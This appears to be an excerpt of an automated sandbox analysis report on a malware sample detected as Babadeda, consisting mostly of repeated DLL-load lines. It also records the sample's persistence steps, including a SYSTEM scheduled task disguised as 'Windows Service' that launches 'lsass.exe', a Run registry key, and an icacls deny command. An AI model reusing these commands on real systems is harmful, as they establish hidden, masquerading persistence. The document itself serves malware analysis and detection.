        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: fastprox.dllJump to behavior
        Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: ncobjapi.dllJump to behavior
        Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mpclient.dllJump to behavior
        Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: wmitomi.dllJump to behavior
        Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: mi.dllJump to behavior
        Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
        Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: miutils.dllJump to behavior
        Source: C:\Windows\System32\wbem\WmiPrvSE.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
        Source: C:\Windows\System32\icacls.exeSection loaded: ntmarta.dll
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior

        Data Obfuscation

        barindex
        Yara detected Babadeda
        Source: Yara matchFile source: nkYzjyrKYK.exe, type: SAMPLE
        Source: Yara matchFile source: 0.2.nkYzjyrKYK.exe.400000.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.0.nkYzjyrKYK.exe.400000.0.unpack, type: UNPACKEDPE
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeCode function: 0_2_0040ADD6 GetTempPathW,LoadLibraryW,GetProcAddress,GetLongPathNameW,FreeLibrary,0_2_0040ADD6
        Source: nkYzjyrKYK.exeStatic PE information: section name: .code
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 25_2_00007FFD3465D2A5 pushad ; iretd 25_2_00007FFD3465D2A6
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 25_2_00007FFD34842316 push 8B485F94h; iretd 25_2_00007FFD3484231B
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 30_2_00007FFD3467D2A5 pushad ; iretd 30_2_00007FFD3467D2A6
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 30_2_00007FFD34792325 push eax; iretd 30_2_00007FFD3479233D
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 30_2_00007FFD3479C2C5 push ebx; iretd 30_2_00007FFD3479C2DA
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 30_2_00007FFD34862316 push 8B485F92h; iretd 30_2_00007FFD3486231B
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 34_2_00007FFD3467D2A5 pushad ; iretd 34_2_00007FFD3467D2A6
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 34_2_00007FFD34862316 push 8B485F92h; iretd 34_2_00007FFD3486231B
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_00007FFD3464D2A5 pushad ; iretd 35_2_00007FFD3464D2A6
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_00007FFD3476BCB7 pushad ; retf 35_2_00007FFD3476BCB6
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_00007FFD347600BD pushad ; iretd 35_2_00007FFD347600C1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_00007FFD3476BBFB pushad ; retf 35_2_00007FFD3476BCB6
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 35_2_00007FFD34832316 push 8B485F95h; iretd 35_2_00007FFD3483231B

        Persistence and Installation Behavior

        barindex
        Uses cmd line tools excessively to alter registry or file data
        Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
        Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
        Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
        Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
        Source: C:\Windows\System32\cmd.exeProcess created: attrib.exe
        Source: C:\Windows\System32\cmd.exeProcess created: reg.exe
        Source: C:\Windows\System32\cmd.exeProcess created: reg.exeJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: reg.exeJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: reg.exeJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: reg.exeJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: attrib.exeJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: reg.exeJump to behavior

        Boot Survival

        barindex
        Creates an autostart registry key pointing to binary in C:\Windows
        Source: C:\Windows\System32\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run windows-appJump to behavior
        Creates autostart registry keys with suspicious names
        Source: C:\Windows\System32\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run windows-appJump to behavior
        Uses schtasks.exe or at.exe to add and modify task schedules
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /TN "Windows Service" /TR "lsass.exe" /SC ONSTART /RU SYSTEM /F
        Source: C:\Windows\System32\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run windows-appJump to behavior
        Source: C:\Windows\System32\reg.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run windows-appJump to behavior

        Hooking and other Techniques for Hiding and Protection

        barindex
        Loading BitLocker PowerShell Module
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
        Uses known network protocols on non-standard ports
        Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 2024
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\icacls.exe icacls "C:\Windows\appcompat\ssh" /deny user:F
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\nkYzjyrKYK.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
